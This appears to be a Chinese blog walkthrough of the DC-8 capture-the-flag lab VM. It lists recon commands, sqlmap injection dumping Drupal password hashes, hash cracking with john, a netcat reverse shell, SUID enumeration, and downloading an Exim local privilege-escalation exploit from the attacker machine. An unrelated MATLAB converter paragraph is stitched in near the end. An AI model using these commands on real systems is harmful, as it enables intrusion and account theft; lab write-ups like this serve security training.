DC-8通关教程

一. 信息收集

1. 探测目标主机IP地址

arp-scan -l  //查看网段

vm  编辑--查看虚拟网络编辑器,看到靶机的网段

网段是: 192.168.83.0

是c段网络

2. 全面检测目标IP

nmap -sP 192.168.83.1/24

靶机ip是:

192.168.83.153

攻击机的ip是:

192.168.83.136

3.扫描端口

端口和服务是对应关系的根据计算机网络的应用层协议

nmap -p 1-65535 -A 192.168.83.153

80端口--http服务打开

22端口打开是ssh服务

访问页面

页面探测发现drupal7

4.目录扫描

dirsearch -u 192.168.83.153 -e * -x 403 --random-agent

二. 渗透过程

1. SQL注入

发现注入点

添加闭合方式报错

a.爆库

出现了SQL报错,接下来就上SQLmap跑了,爆一下数据库

sqlmap -u "http://192.168.83.153/?nid=1" --level=5 --risk=3 --batch --current-db //爆破当前数据库

数据库是: d7db

b.爆表

sqlmap -u "http://192.168.83.153/?nid=1" --level=5 --risk=3 --batch -D 'd7db' -tables

有一堆表,但是有用的只有users,接着

c.爆字段名

sqlmap -u "http://192.168.83.153/?nid=1" --level=5 --risk=3 --batch -D 'd7db' -T 'users' -columns

d.爆字段内容

sqlmap -u "http://192.168.83.153/?nid=1" --level=5 --risk=3 --batch -D 'd7db' -T 'users' -C'name,pass,uid' -dump

得到了两个用户,还有hash密文,我们建一个文件,将两个密文保存起来

$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z

$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF

2. 爆破密文

Drupal的hash密文是经过特殊加密的,用john进行爆破

john pd.txt

得到一个密码turtle

3. 反弹shell

测试发现是john的密码,在/user/login处登入,探索发现在WEBFORM处可以编辑并执行PHP代码

在页面找到上传php代码的地方

nc -lvvp 6666

转换为交互式命令

python -c "import pty;pty.spawn('/bin/bash')"

SUID是一种对二进制程序进行设置的特殊权限,可以让二进制程序的执行者临时拥有属主的权限,若是对一些特殊命令设置了SUID,那么将会有被提权的风险

    常用的SUID提权命令有:nmap、vim、find、bash、more、less、nano、cp等。

    sudo和SUID的区别

        sudo是给某个用户或者组授予执行某些命令的权限,权限在人身上

        SUID是给命令赋予root用户的权限,权限在命令上

4. 提权

找查一下suid权限的二进制文件

find / -perm -4000 -print 2>/dev/null

这里试一下,先看一下版本

exim --version

版本是 4.89

接着找一下漏洞

searchsploit exim 4.89 

看到了可以提权的漏洞

Exim 4.87 - 4.91 - Local Privilege Escalation                                       | linux/local/46996.sh

复制一下文件

cp /usr/share/exploitdb/exploits/linux/local/46996.sh hack.sh

开启http服务

python -m http.server 8888

在DC-7中下载该文件,先跳到tmp目录

cd /tmp

wget 192.168.83.136:8888/hack.sh

可以看到文件是不可执行的,我们可以用chmod命令赋予执行权限

chmod 777 hack.sh

5. 找查flag

在root目录下发现flag文件

MATLAB是一种强大的编程和仿真软件,可以广泛应用于各种领域的科学和工程问题。其MATLAB 2021a版本引入了新的功能和工具,包括模拟直流-直流(DC-DC)变换器的能力。 DC-DC变换器是一种电力转换设备,用于将一个直流电压转换为另一个直流电压。在MATLAB 2021a版本,新的仿真实验教程“ABuck DC-DC”提供了学习和理解DC-DC变换器工作原理的示例。 该实验教程通过使用MATLAB的仿真环境来模拟和分析ABuck DC-DC变换器的性能。学习者将学会如何建立变换器的模型,定义电路参数和控制策略,并使用MATLAB的仿真工具来评估电路的性能。 实验教程提供了逐步的说明和示例代码,使学习者能够按照指导一步一步地完成仿真实验。学习者将学会如何分析电路的电压、电流和功率等关键参数,并通过改变控制策略来优化性能。 通过完成这个实验教程,学习者将获得以下技能和知识: 1. 了解DC-DC变换器的基本原理和工作方式; 2. 学会使用MATLAB建立DC-DC变换器的仿真模型; 3. 学会分析和评估电路的性能,如电压波形、电流波形和功率效率等; 4. 学会设计和优化DC-DC变换器的控制策略。 总之,MATLAB 2021a版本的ABuck DC-DC仿真实验教程提供了一个学习和理解DC-DC变换器的绝佳机会。通过完成这个实验教程,学习者能够熟练使用MATLAB的仿真工具,并具备设计和优化DC-DC变换器的能力。
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值